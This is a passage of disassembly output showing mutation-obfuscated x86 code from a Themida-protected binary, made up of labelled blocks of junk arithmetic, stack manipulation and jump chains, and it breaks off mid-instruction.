--------------------------------------------------------------------------- loc_570345: ; CODE XREF: Themida_:0055FB5Cj xchg edx, ebp shr ebp, 8 add ebp, 1DCE3161h add ebp, 0E1C7694Ch add esi, ebp mov ebp, [esp] add esp, 4 jmp loc_55D88D ; --------------------------------------------------------------------------- loc_570363: ; CODE XREF: Themida_:00562519j pop esp jmp loc_562A49 ; --------------------------------------------------------------------------- loc_570369: ; CODE XREF: Themida_:00571839j sub ebp, 80020C7h sub ecx, 438920C7h add ecx, ebp add ecx, 438920C7h mov ebp, [esp] jmp loc_56E5B6 ; --------------------------------------------------------------------------- loc_570385: ; CODE XREF: Themida_:00565952j mov edx, 0FFFFFFFFh sub edi, edx pop edx not edi jmp loc_56660F ; --------------------------------------------------------------------------- mov ax, [esp] push 2789h mov [esp], eax mov eax, esp sub esp, 4 mov [esp], edi jmp loc_55F7C7 ; --------------------------------------------------------------------------- loc_5703AD: ; CODE XREF: Themida_:00570DA2j mov [esp], esp push edx mov edx, 4 add [esp+4], edx jmp loc_56703A ; --------------------------------------------------------------------------- loc_5703BF: ; CODE XREF: Themida_:00570094j add esi, 4 jmp loc_561609 ; --------------------------------------------------------------------------- loc_5703CA: ; CODE XREF: Themida_:0055F561j pop edi jmp loc_569CC5 ; --------------------------------------------------------------------------- loc_5703D0: ; CODE XREF: Themida_:0055EC57j add ecx, ebx jmp loc_56C8D5 ; --------------------------------------------------------------------------- loc_5703D7: ; CODE XREF: Themida_:0057219Fj mov [esp], edx push ecx jmp loc_568AD4 ; --------------------------------------------------------------------------- loc_5703E0: ; CODE XREF: Themida_:0056CD4Fj mov esi, [esp] add esp, 4 sub edi, 4 xor edi, [esp] jmp loc_55EE53 ; --------------------------------------------------------------------------- loc_5703F4: ; CODE XREF: Themida_:00571144j mov edi, esp jmp loc_564D66 ; --------------------------------------------------------------------------- loc_5703FB: ; CODE XREF: Themida_:0056BA29j mov edx, esp jmp loc_565BFE ; --------------------------------------------------------------------------- loc_570402: ; CODE XREF: Themida_:0055FC7Dj push esi mov ecx, [esp] add esp, 4 pop esi and eax, ecx push dword ptr [esp] pop ecx push ebp mov ebp, esp push ecx mov ecx, 51965F9Fh shl ecx, 4 jmp loc_565EDE ; --------------------------------------------------------------------------- loc_570424: ; CODE XREF: Themida_:00564833j and esi, 24073066h inc esi xchg edi, esi not edi xor esi, edi xor edi, esi xor esi, edi and esi, 286C213Ah xor esi, 86C211Ch sub ebx, esi pop esi sub esp, 4 mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx push ebp jmp loc_56CC68 ; --------------------------------------------------------------------------- loc_57045B: ; CODE XREF: Themida_:00568089j push 4518h mov [esp], edi mov edi, esi jmp loc_56977C ; --------------------------------------------------------------------------- loc_57046A: ; CODE XREF: Themida_:0055E575j push ebx mov ebx, 1EDA65BBh not ebx jmp loc_563412 ; --------------------------------------------------------------------------- loc_570477: ; CODE XREF: Themida_:005664E7j add ebp, eax sub ebp, 644F4DC8h push dword ptr [esp] pop eax jmp loc_56BB18 ; --------------------------------------------------------------------------- loc_570488: ; CODE XREF: Themida_:00565DAEj not ecx jmp loc_56164F ; --------------------------------------------------------------------------- loc_57048F: ; CODE XREF: Themida_:0056F8F3j mov edi, 6CD14465h jmp loc_565193 ; --------------------------------------------------------------------------- loc_570499: ; CODE XREF: Themida_:00560B71j xchg eax, [esp] jmp loc_56C8A5 ; --------------------------------------------------------------------------- loc_5704A1: ; CODE XREF: Themida_:0056F38Aj push esi push edi jmp loc_5629A4 ; --------------------------------------------------------------------------- loc_5704A8: ; CODE XREF: Themida_:005711E6j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5704AD: ; CODE XREF: Themida_:0056EB9Dj add esp, 4 push 3759h mov [esp], esi push ecx mov ecx, 48480A07h or ecx, 3D817EAEh inc ecx jmp loc_570D1F ; --------------------------------------------------------------------------- loc_5704CA: ; CODE XREF: Themida_:0056003Cj xor edx, ebx mov ebx, [esp] add esp, 4 dec edx push 3188h mov [esp], ebp mov ebp, 1 push eax jmp loc_56325C ; --------------------------------------------------------------------------- loc_5704E6: ; CODE XREF: Themida_:005637EAj push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_5632CB ; --------------------------------------------------------------------------- loc_5704FA: ; CODE XREF: Themida_:0056B90Ej pop edi jmp loc_5600D8 ; --------------------------------------------------------------------------- loc_570500: ; CODE XREF: Themida_:005643B7j push ecx mov ecx, 3FCA6906h push ecx push ebp pop ecx push dword ptr [esp] pop ebp push ebp mov ebp, esp add ebp, 4 jmp loc_5648C6 ; --------------------------------------------------------------------------- loc_57051B: ; CODE XREF: Themida_:0057032Fj push edx jmp loc_571FF1 ; --------------------------------------------------------------------------- loc_570521: ; CODE XREF: Themida_:00564861j shl eax, 7 and eax, 4CF03AA3h jmp loc_55E1BE ; --------------------------------------------------------------------------- loc_57052E: ; CODE XREF: Themida_:0056F859j dec eax inc eax push esi jmp loc_5640A4 ; --------------------------------------------------------------------------- loc_570536: ; CODE XREF: Themida_:00569366j sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp sub esp, 4 mov [esp], eax mov ebp, [esp] add esp, 4 jmp loc_56F891 ; --------------------------------------------------------------------------- loc_570565: ; CODE XREF: Themida_:005694CEj neg ebp inc ebp not ebp push eax mov eax, 2AB61BE8h and ebp, eax pop eax push esi mov esi, 2523639Fh sub esi, 3E4A413Fh shl esi, 3 or esi, 55F418DDh push ebx mov ebx, 0DF6A2FFEh sub esi, ebx mov ebx, [esp] add esp, 4 sub ebp, esi pop esi add eax, ebp pop ebp sub eax, 73930376h sub eax, 384B0613h add eax, ebx add eax, 384B0613h add eax, 73930376h sub eax, 6FFD1C21h pop ebx add eax, 18921499h jmp loc_5616DF ; --------------------------------------------------------------------------- loc_5705C2: ; CODE XREF: Themida_:0056263Cj push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx push esp pop ecx push ebx mov ebx, 5E739C9h sub ebx, 5E739C5h sub ecx, 602466FEh add ecx, ebx jmp loc_56D87F ; --------------------------------------------------------------------------- loc_5705EF: ; CODE XREF: Themida_:00570E44j add ebx, 188C5072h add ebx, edx sub ebx, 188C5072h mov edx, [esp] push esi jmp loc_564E61 ; --------------------------------------------------------------------------- loc_570606: ; CODE XREF: Themida_:00569139j sub eax, 999C8480h jmp loc_56AB08 ; --------------------------------------------------------------------------- loc_570610: ; CODE XREF: Themida_:00570D51j add esi, 4 jmp loc_563F58 ; --------------------------------------------------------------------------- loc_57061B: ; CODE XREF: Themida_:0055DC43j push dword ptr [esp+4] jmp loc_55DB19 ; --------------------------------------------------------------------------- loc_570624: ; CODE XREF: Themida_:0055E5C1j push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push 6840h mov [esp], eax push 709Ah mov [esp], esp push ecx jmp loc_56B280 ; --------------------------------------------------------------------------- loc_570649: ; CODE XREF: Themida_:00572120j not dword ptr [esp] pop ebp push ecx mov ecx, 1 jmp loc_571BBF ; --------------------------------------------------------------------------- lodsb push 2E60h mov [esp], ecx mov ch, 73h push ebx push edx mov dl, 6Ch jmp loc_56C770 ; --------------------------------------------------------------------------- loc_57066C: ; CODE XREF: Themida_:0056E4E5j sub edi, 4 push 2445h mov [esp], edi jmp loc_55DAFB ; --------------------------------------------------------------------------- loc_57067F: ; CODE XREF: Themida_:00569B28j xchg edi, [esp] pop esp push 0E08h jmp loc_569EBA ; --------------------------------------------------------------------------- loc_57068D: ; CODE XREF: Themida_:00564226j mov ebx, [esp] add esp, 4 push ecx mov ecx, 5BA729E8h sub [esp+8], ecx pop ecx jmp loc_560523 ; --------------------------------------------------------------------------- loc_5706A6: ; CODE XREF: Themida_:005667C5j add esp, 4 and dl, 6Ch xor dl, 0E3h add al, dl pop edx push dword ptr [esp] push dword ptr [esp] pop edx push edx mov edx, esp push ebx mov ebx, 4 add edx, ebx pop ebx add edx, 4 xchg edx, [esp] jmp loc_56C389 ; --------------------------------------------------------------------------- lodsb jmp loc_567874 ; --------------------------------------------------------------------------- loc_5706D9: ; CODE XREF: Themida_:0055FD1Cj shr bh, 2 neg bh jmp loc_56E9BE ; --------------------------------------------------------------------------- loc_5706E3: ; CODE XREF: Themida_:005700C4j mov ebx, 4F0C343Fh push edx mov edx, 38C76015h and edx, 5A201210h not edx not edx jmp loc_56F9F0 ; --------------------------------------------------------------------------- loc_5706FD: ; CODE XREF: Themida_:00561F5Fj mov edx, [esp] add esp, 4 inc cl push 6A86h mov [esp], eax mov al, 0A9h jmp loc_560295 ; --------------------------------------------------------------------------- loc_570717: ; CODE XREF: Themida_:0056C4A1j pop esi push ecx xor dword ptr [esp], 3470788Dh mov ebp, [esp] add esp, 4 xor ebp, 3470788Dh pop ecx add eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 push edi mov edi, 4 add ecx, edi pop edi xchg ecx, [esp] pop esp add eax, 2 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], esi push esp mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_56EA35 ; --------------------------------------------------------------------------- loc_570786: ; CODE XREF: Themida_:005660F4j xor ecx, ebp pop ebp push 1403h mov [esp], ecx mov ecx, 260509C5h sub eax, ecx jmp loc_56534D ; --------------------------------------------------------------------------- loc_57079D: ; CODE XREF: Themida_:0055E501j add eax, 57E64A82h add eax, esi sub eax, 57E64A82h mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ebp jmp loc_56E4FA ; --------------------------------------------------------------------------- loc_5707C5: ; CODE XREF: Themida_:0056539Aj xchg esi, [esp] pop esp mov [esp], eax push ecx mov ecx, 75031C66h push ebp jmp loc_56796F ; --------------------------------------------------------------------------- loc_5707D8: ; CODE XREF: Themida_:0056432Cj pop esi mov ebp, edi pop edi add esi, ebp jmp loc_56EB3D ; --------------------------------------------------------------------------- loc_5707E3: ; CODE XREF: Themida_:00566813j sub ecx, 7B723B38h sub ecx, 246958BEh add ecx, eax jmp loc_56F479 ; --------------------------------------------------------------------------- push dword ptr [esp+4] mov eax, [esp] push edi push 40DAh mov [esp], esp jmp loc_55DF08 ; --------------------------------------------------------------------------- loc_57080B: ; CODE XREF: Themida_:0056017Bj push edi mov ebp, [esp] add esp, 4 push 3665h mov [esp], ebp pop eax jmp loc_56E4BF ; --------------------------------------------------------------------------- loc_570820: ; CODE XREF: Themida_:00563AD8j sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_561E32 ; --------------------------------------------------------------------------- loc_570835: ; CODE XREF: Themida_:0056E73Fj push esi push edx push esi mov esi, 5F1B4206h mov edx, esi pop esi mov esi, edx jmp loc_55F244 ; --------------------------------------------------------------------------- loc_570847: ; CODE XREF: Themida_:00571819j add edi, ecx pop ecx jmp loc_56EC8E ; --------------------------------------------------------------------------- loc_57084F: ; CODE XREF: Themida_:00572568j xor ecx, [esp] pop esp push 421Ch mov [esp], eax mov eax, 4 sub ebp, 7F896A62h add ebp, eax add ebp, 7F896A62h pop eax add ebp, 2 xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx push esp mov edx, [esp] jmp loc_56C0C3 ; --------------------------------------------------------------------------- loc_57088A: ; CODE XREF: Themida_:00567D18j add ecx, 4F09291Fh jmp loc_561807 ; --------------------------------------------------------------------------- mov cx, [esp] push 7AF3h mov [esp], eax push esp pop eax add eax, 4 push ebp jmp loc_56D264 ; --------------------------------------------------------------------------- loc_5708AE: ; CODE XREF: Themida_:00571090j xor edi, [esp] xor [esp], edi jmp loc_5652E6 ; --------------------------------------------------------------------------- loc_5708B9: ; CODE XREF: Themida_:0056ECFDj mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_570256 ; --------------------------------------------------------------------------- loc_5708CF: ; CODE XREF: Themida_:0056D080j shl esi, 7 sub esp, 4 mov [esp], ebx jmp loc_560005 ; --------------------------------------------------------------------------- loc_5708E0: ; CODE XREF: Themida_:0056FA40j mov ebp, 144579DFh sub [esp+4], ebp pop ebp jmp loc_567512 ; --------------------------------------------------------------------------- loc_5708EF: ; CODE XREF: Themida_:005602D3j add eax, 0C777BC5h sub eax, ebx push ebx jmp loc_566164 ; --------------------------------------------------------------------------- loc_5708FC: ; CODE XREF: Themida_:0056D99Ej xchg ebx, [esp] pop esp sub edx, 0FE45DB90h sub eax, 7A8C46E7h add eax, edx add eax, 7A8C46E7h pop edx jmp loc_567281 ; --------------------------------------------------------------------------- loc_570918: ; CODE XREF: Themida_:0056E5D6j mov ah, 0AAh dec ah add ah, 0EBh xor ah, 0B6h add ah, 0DAh or ch, ah jmp loc_562E5A ; --------------------------------------------------------------------------- lodsd push ebp push edx jmp loc_55E03E ; --------------------------------------------------------------------------- loc_570934: ; CODE XREF: Themida_:0056195Cj add al, dl jmp loc_566BE9 ; --------------------------------------------------------------------------- loc_57093B: ; CODE XREF: Themida_:0055FE72j shl edx, 1 jmp loc_56451E ; --------------------------------------------------------------------------- loc_570942: ; CODE XREF: Themida_:0056C8A9j push ebp mov ebp, 4 add edx, 35E94E5Fh add edx, ebp sub edx, 35E94E5Fh jmp loc_5654D0 ; --------------------------------------------------------------------------- loc_57095B: ; CODE XREF: Themida_:0056E17Cj pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_563220 ; --------------------------------------------------------------------------- loc_57096A: ; CODE XREF: Themida_:0056DE7Cj pop edx push ebx jmp loc_56CD92 ; --------------------------------------------------------------------------- loc_570971: ; CODE XREF: Themida_:0055EC21j xor edx, 59FD0447h push eax mov eax, 3F196B3Bh not eax shl eax, 3 shl eax, 3 add eax, 6BBF789Ah xor eax, 642E2251h add eax, 0B694AAD0h add ecx, eax jmp loc_562D12 ; --------------------------------------------------------------------------- loc_57099B: ; CODE XREF: Themida_:00563560j mov ecx, [esp] push 5A55h mov [esp], esi jmp loc_55EAED ; --------------------------------------------------------------------------- loc_5709AB: ; CODE XREF: Themida_:005632A7j push esp pop ebx jmp loc_5675B5 ; --------------------------------------------------------------------------- loc_5709B2: ; CODE XREF: Themida_:005726B0j sub ebp, 53233761h push dword ptr [esp] jmp loc_55FFE5 ; --------------------------------------------------------------------------- loc_5709C0: ; CODE XREF: Themida_:005622ADj mov [esp], ecx push bx mov bh, 0Fh xor bh, 7 dec bh sub bh, 1 or bh, 0B7h shl bh, 8 sub esp, 4 jmp loc_56951B ; --------------------------------------------------------------------------- loc_5709E0: ; CODE XREF: Themida_:005667E0j pop eax jmp loc_561562 ; --------------------------------------------------------------------------- mov ax, [esp] push esi sub esp, 4 mov [esp], ebp push esp mov ebp, [esp] add esp, 4 push eax mov eax, 4 jmp loc_56E5CB ; --------------------------------------------------------------------------- loc_570A09: ; CODE XREF: Themida_:0056CB00j shl byte ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_570A12: ; CODE XREF: Themida_:005602C9j add edx, esi pop esi jmp loc_5647A8 ; --------------------------------------------------------------------------- loc_570A1A: ; CODE XREF: Themida_:0056B125j mov [esp], ecx mov ecx, 4 jmp loc_561E9A ; --------------------------------------------------------------------------- loc_570A27: ; CODE XREF: Themida_:00562060j sub al, 6Bh push ecx jmp loc_565377 ; --------------------------------------------------------------------------- loc_570A2F: ; CODE XREF: Themida_:0055E5FDj sub edi, 0C5ACB3FCh push ebp push edi xor dword ptr [esp], 21B6348Fh jmp loc_562A56 ; --------------------------------------------------------------------------- loc_570A43: ; CODE XREF: Themida_:005625FAj add eax, 4B8E5C09h add eax, ebx push edx jmp loc_563DCB ; --------------------------------------------------------------------------- loc_570A50: ; CODE XREF: Themida_:00560F56j push ax mov ah, 0DFh add bl, 0C4h sub bl, ah sub bl, 0C4h pop ax mov ch, bl pop ebx shr ch, 4 jmp loc_5643BC ; --------------------------------------------------------------------------- loc_570A69: ; CODE XREF: Themida_:0056727Cj add esp, 4 pop esi add ebx, eax push ecx mov ecx, 6EFE6608h add ebx, ecx pop ecx push 1896h mov [esp], ebx mov ebx, 1E0129A5h shl ebx, 4 push esi jmp loc_56BC2E ; --------------------------------------------------------------------------- loc_570A8E: ; CODE XREF: Themida_:00566E42j mov ecx, 66C21918h jmp loc_5677B1 ; --------------------------------------------------------------------------- loc_570A98: ; CODE XREF: Themida_:0056A50Cj pop edx sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 push 362Ah jmp loc_560C90 ; --------------------------------------------------------------------------- loc_570AB7: ; CODE XREF: Themida_:0056506Ej mov cl, 16h push ebx mov bh, 0EEh mov dl, bh pop ebx sub dl, 0A6h add dl, 0Fh add dl, 27h sub dl, cl push ecx mov cl, 71h neg cl dec cl jmp loc_5713EC ; --------------------------------------------------------------------------- loc_570AD6: ; CODE XREF: Themida_:0056DF1Aj add edi, ebp pop ebp jmp loc_56453C ; --------------------------------------------------------------------------- loc_570ADE: ; CODE XREF: Themida_:0056F635j imul ecx push 4639h mov [esp], edx push eax pushf jmp loc_55DEF2 ; --------------------------------------------------------------------------- loc_570AEF: ; CODE XREF: Themida_:005634C1j push esi mov esi, 5C167385h jmp loc_569FBA ; --------------------------------------------------------------------------- loc_570AFA: ; CODE XREF: Themida_:00566355j mov ecx, [esp] add esp, 4 jmp loc_564A1C ; --------------------------------------------------------------------------- loc_570B08: ; CODE XREF: Themida_:0056EBA5j push ecx jmp loc_56BB8B ; --------------------------------------------------------------------------- loc_570B0E: ; CODE XREF: Themida_:00568A6Bj xchg ecx, [esp] pop esp xchg eax, [esp] jmp loc_5668D0 ; --------------------------------------------------------------------------- loc_570B1A: ; CODE XREF: Themida_:00571FE6j mov ebp, [esp] add esp, 4 push eax jmp loc_5664DC ; --------------------------------------------------------------------------- mov cx, [esp] push 6BADh mov [esp], ebp push 1B4Fh mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] mov ebp, [esp] add esp, 4 push 1BD0h mov [esp], edi jmp loc_563BB5 ; --------------------------------------------------------------------------- loc_570B5D: ; CODE XREF: Themida_:00569BB0j mov [esp], ebp jmp loc_57204E ; --------------------------------------------------------------------------- loc_570B65: ; CODE XREF: Themida_:00566B71j mov ebp, edx pop edx dec ebp or ebp, 2E024306h shl ebp, 8 neg ebp add ebp, 9D21F783h add eax, ebp jmp loc_55F2F1 ; --------------------------------------------------------------------------- loc_570B81: ; CODE XREF: Themida_:00562443j pop ecx xor bh, al pop eax push edx mov dh, 78h xor bh, dh pop edx and bh, 27h shl bh, 3 sub bh, 4Dh jmp loc_55F47B ; --------------------------------------------------------------------------- loc_570B99: ; CODE XREF: Themida_:0055E140j sub ebx, eax mov eax, [esp] add esp, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], eax mov edx, [esp] add esp, 4 jmp loc_55D86D ; --------------------------------------------------------------------------- loc_570BB9: ; CODE XREF: Themida_:0056BCA6j push ebp mov ebp, 7E457A59h push esi mov esi, 47853DEh sub esi, 219844C1h sub esi, 17500931h or esi, 4BFA7C30h not esi jmp loc_56E6FB ; --------------------------------------------------------------------------- loc_570BDE: ; CODE XREF: Themida_:00562664j sub esp, 4 mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 jmp loc_562086 ; --------------------------------------------------------------------------- loc_570BF6: ; CODE XREF: Themida_:0056D018j pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] push esi mov esi, esp jmp loc_55E212 ; --------------------------------------------------------------------------- loc_570C08: ; CODE XREF: Themida_:00568D3Dj mov esp, [esp] jmp loc_56D40D ; --------------------------------------------------------------------------- loc_570C10: ; CODE XREF: Themida_:0056BA74j pop ebp and eax, esi pop esi shr eax, 10h xor eax, ecx sub esp, 4 mov [esp], eax xor [esp], esi xor esi, [esp] jmp loc_57197F ; --------------------------------------------------------------------------- loc_570C2D: ; CODE XREF: Themida_:0056F900j add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] jmp loc_5699A2 ; --------------------------------------------------------------------------- loc_570C3C: ; CODE XREF: Themida_:0055DD35j sub [esp+8], ebp sub dword ptr [esp+8], 5E620580h pop ebp add dword ptr [esp+4], 369F4740h sub dword ptr [esp+4], 2E4A5C50h sub [esp+4], edx add dword ptr [esp+4], 2E4A5C50h jmp loc_5602EB ; --------------------------------------------------------------------------- loc_570C6A: ; CODE XREF: Themida_:00562081j push 4E24h jmp loc_561773 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], eax jmp loc_564720 ; --------------------------------------------------------------------------- loc_570C83: ; CODE XREF: Themida_:0056DD3Cj add esp, 4 add ebx, 44E21A2Bh add ebx, edi sub ebx, 44E21A2Bh pop edi push ecx mov ecx, 59E457F1h add ecx, 7FE87200h shl ecx, 1 sub ecx, 339A3EF3h sub ebp, 15A1545Ch sub ebp, ecx add ebp, 15A1545Ch jmp loc_569058 ; --------------------------------------------------------------------------- loc_570CBF: ; CODE XREF: Themida_:0056214Fj xor edi, 783E3DC0h add edi, 6C44B52Eh push eax jmp loc_55E6FD ; --------------------------------------------------------------------------- loc_570CD1: ; CODE XREF: Themida_:005688F9j pop dword ptr [esp] pop esp mov [esp], ebp push esp pop ebp push eax push esi mov esi, 43102B81h xor esi, 6D2249D7h push edi mov edi, 7848436Bh and edi, 3D1B4C28h sub edi, 663AA27Ah add esi, edi pop edi mov eax, esi pop esi add ebp, eax jmp loc_562F8D ; --------------------------------------------------------------------------- loc_570D06: ; CODE XREF: Themida_:0056F9FEj push esi mov esi, 0FFFFFFFFh add edx, 59660773h add edx, esi sub edx, 59660773h jmp loc_566B0A ; --------------------------------------------------------------------------- loc_570D1F: ; CODE XREF: Themida_:005704C5j add ecx, 0FFFFFFFFh push ebp mov ebp, 4E857B26h sub ebp, 4DE3724Eh or ebp, 6BDD2D9Fh jmp loc_572054 ; --------------------------------------------------------------------------- loc_570D39: ; CODE XREF: Themida_:00562190j push 5646h mov [esp], edi push dword ptr [esp+4] pop edi jmp loc_56EDBC ; --------------------------------------------------------------------------- loc_570D4B: ; CODE XREF: Themida_:0056D5C8j add esi, 4 jmp loc_570610 ; --------------------------------------------------------------------------- loc_570D56: ; CODE XREF: Themida_:0055D9A7j push esi push 7FB4h mov [esp], ecx mov ecx, 22DC6A6Ch mov esi, ecx pop ecx add ebx, esi pop esi jmp loc_571CE1 ; --------------------------------------------------------------------------- loc_570D6F: ; CODE XREF: Themida_:00568875j mov [esp], eax mov eax, esp push edx jmp loc_55DFD5 ; --------------------------------------------------------------------------- loc_570D7A: ; CODE XREF: Themida_:0056D29Bj mov [esp], edi push esp pop edi add edi, 4 push eax sub esp, 4 jmp loc_569D70 ; --------------------------------------------------------------------------- loc_570D8E: ; CODE XREF: Themida_:00571E28j push ecx mov ch, 0C3h mov ah, ch jmp loc_56F164 ; --------------------------------------------------------------------------- loc_570D98: ; CODE XREF: Themida_:00567D46j add ecx, edi mov [ecx], ebx jmp loc_55FA3E ; --------------------------------------------------------------------------- loc_570DA1: ; CODE XREF: Themida_:00568845j pop esp jmp loc_5703AD ; --------------------------------------------------------------------------- loc_570DA7: ; CODE XREF: Themida_:00569CADj mov edi, 56A3051h shr edi, 3 sub edi, 4F941DB6h sub esi, 1C454555h sub esi, edi add esi, 1C454555h mov edi, [esp] add esp, 4 sub [esp+4], esi pop esi mov ecx, [esp] jmp loc_571020 ; --------------------------------------------------------------------------- loc_570DD9: ; CODE XREF: Themida_:005683DAj mov esp, [esp] add edx, 2 xchg edx, [esp] pop esp jmp loc_55FC62 ; --------------------------------------------------------------------------- loc_570DEB: ; CODE XREF: Themida_:00564818j inc edx dec edx push esi mov esi, 0B871C06Ah add edx, esi jmp loc_564239 ; --------------------------------------------------------------------------- loc_570DFA: ; CODE XREF: Themida_:0056A43Dj pop edi push edi mov edi, esp jmp loc_56A847 ; --------------------------------------------------------------------------- loc_570E03: ; CODE XREF: Themida_:0056A2A5j mov ecx, 554D1A38h mov edi, ecx pop ecx push ebp push 56E06F81h pop ebp add edi, ebp push dword ptr [esp] pop ebp push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_561AFB ; --------------------------------------------------------------------------- loc_570E2C: ; CODE XREF: Themida_:005695CCj xor ah, 0A2h mov ch, ah pop eax add ch, 0EEh add dh, ch jmp loc_5724B6 ; --------------------------------------------------------------------------- loc_570E3C: ; CODE XREF: Themida_:00561604j mov edi, 3B5034CEh add edx, edi pop edi jmp loc_5705EF ; --------------------------------------------------------------------------- loc_570E49: ; CODE XREF: Themida_:0055DAD3j xor edi, 7869317Ch mov eax, edi pop edi jmp loc_568EAA ; --------------------------------------------------------------------------- loc_570E57: ; CODE XREF: Themida_:0056A49Ej push ebx push 2B532C1Eh pop ebx not ebx add ebx, 40005Ch and ebx, 68552912h xor ebx, 0DF5C3A75h jmp loc_565938 ; --------------------------------------------------------------------------- loc_570E77: ; CODE XREF: Themida_:00569791j push ebp mov ebp, 183251E1h xor edi, ebp pop ebp push 7DC0h mov [esp], ebp mov ebp, 1 add edi, ebp pop ebp jmp loc_55E924 ; --------------------------------------------------------------------------- loc_570E95: ; CODE XREF: Themida_:00568635j xor edi, 1F7F5A34h push ebx jmp loc_565F58 ; --------------------------------------------------------------------------- loc_570EA1: ; CODE XREF: Themida_:0056B077j push 499Ah jmp loc_561DE6 ; --------------------------------------------------------------------------- loc_570EAB: ; CODE XREF: Themida_:0057140Fj pop dword ptr [esp] mov esp, [esp] jmp loc_567B1D ; --------------------------------------------------------------------------- loc_570EB6: ; CODE XREF: Themida_:0056C163j mov [esp], ecx push 427Fh mov [esp], eax push 5C2B2587h pop eax shr eax, 7 jmp loc_56C813 ; --------------------------------------------------------------------------- loc_570ECF: ; CODE XREF: Themida_:0056687Bj push ebp mov ebp, esp add ebp, 4 push edi mov edi, 2D164227h jmp loc_55FA31 ; --------------------------------------------------------------------------- loc_570EE3: ; CODE XREF: Themida_:00561402j mov ecx, [esp] jmp loc_56DF2A ; --------------------------------------------------------------------------- loc_570EEB: ; CODE XREF: Themida_:0055DCB4j xor esi, 623E1875h add esi, 0D7B99AA1h jmp loc_56401E ; --------------------------------------------------------------------------- loc_570EFC: ; CODE XREF: Themida_:0055FF93j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] add esp, 4 add esi, eax sub esi, 7CC08C4h add esi, 0B1E47A1h jmp loc_5609B6 ; --------------------------------------------------------------------------- loc_570F26: ; CODE XREF: Themida_:0055E4DBj push 67FFh mov [esp], eax mov eax, 7CB31103h xor eax, 7CB31107h push esi mov esi, 27BD279Ch sub ecx, esi jmp loc_5655EE ; --------------------------------------------------------------------------- loc_570F45: ; CODE XREF: Themida_:0056BED1j push ebp mov ebp, 2D67552Bh add ebp, 252404E7h add eax, ebp jmp loc_56D18D ; --------------------------------------------------------------------------- loc_570F58: ; CODE XREF: Themida_:00563B49j xor al, bh pop ebx jmp loc_56BE95 ; --------------------------------------------------------------------------- loc_570F60: ; CODE XREF: Themida_:0056B65Ej add esp, 4 jmp loc_56BFAC ; --------------------------------------------------------------------------- loc_570F6B: ; CODE XREF: Themida_:00566409j push eax mov eax, 41D17282h and ecx, eax pop eax dec ecx add ecx, 82960A6h add ecx, 44E09977h or edi, ecx pop ecx and edi, 0E206301h add edi, 17044DDh jmp loc_566F2C ; --------------------------------------------------------------------------- loc_570F95: ; CODE XREF: Themida_:0056FF81j add ecx, 4 xchg ecx, [esp] mov esp, [esp] xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] div cx jmp loc_56F514 ; --------------------------------------------------------------------------- loc_570FB2: ; CODE XREF: Themida_:005600D3j mov edi, ebx pop ebx mov eax, edi jmp loc_56FE27 ; --------------------------------------------------------------------------- loc_570FBC: ; CODE XREF: Themida_:0056B365j mov [esp], esi mov esi, 553C0A97h push 53F7h mov [esp], ebx push 17460AC7h mov ebx, [esp] jmp loc_565BBE ; --------------------------------------------------------------------------- loc_570FD9: ; CODE XREF: Themida_:0056E616j mov ebp, 4CE3113Eh push ebp mov ebp, 6F8547ADh jmp loc_56509D ; --------------------------------------------------------------------------- loc_570FE9: ; CODE XREF: Themida_:0056B438j push edi mov edi, esp push ebx mov ebx, 5D5E4FF6h jmp loc_570137 ; --------------------------------------------------------------------------- loc_570FF7: ; CODE XREF: Themida_:0056D2AAj mov ebx, 1542419Bh add edi, ebx mov ebx, [esp] add esp, 4 shl edi, 8 dec edi push eax jmp loc_57166A ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebx jmp loc_564139 ; --------------------------------------------------------------------------- loc_571020: ; CODE XREF: Themida_:00570DD4j push edx push esp mov edx, [esp] add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebx mov ebx, 483C2C51h sub esp, 4 mov [esp], esi mov esi, 2255599Fh sub ebx, esi pop esi xchg edx, ebx jmp loc_571591 ; --------------------------------------------------------------------------- loc_571056: ; CODE XREF: Themida_:0056B2E1j xor ecx, 6F14591Dh xor ecx, 0A89F5D07h sub ebp, ecx pop ecx jmp loc_562E47 ; --------------------------------------------------------------------------- loc_57106A: ; CODE XREF: Themida_:005609EFj add ebp, 4 xchg ebp, [esp] mov esp, [esp] shr eax, 0Ch xor eax, ecx push eax push edi push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 pop dword ptr [esp] not edi xor [esp], edi jmp loc_5708AE ; --------------------------------------------------------------------------- loc_571095: ; CODE XREF: Themida_:0056A96Fj push 1566h mov [esp], edx push esp mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push 4 mov ebx, 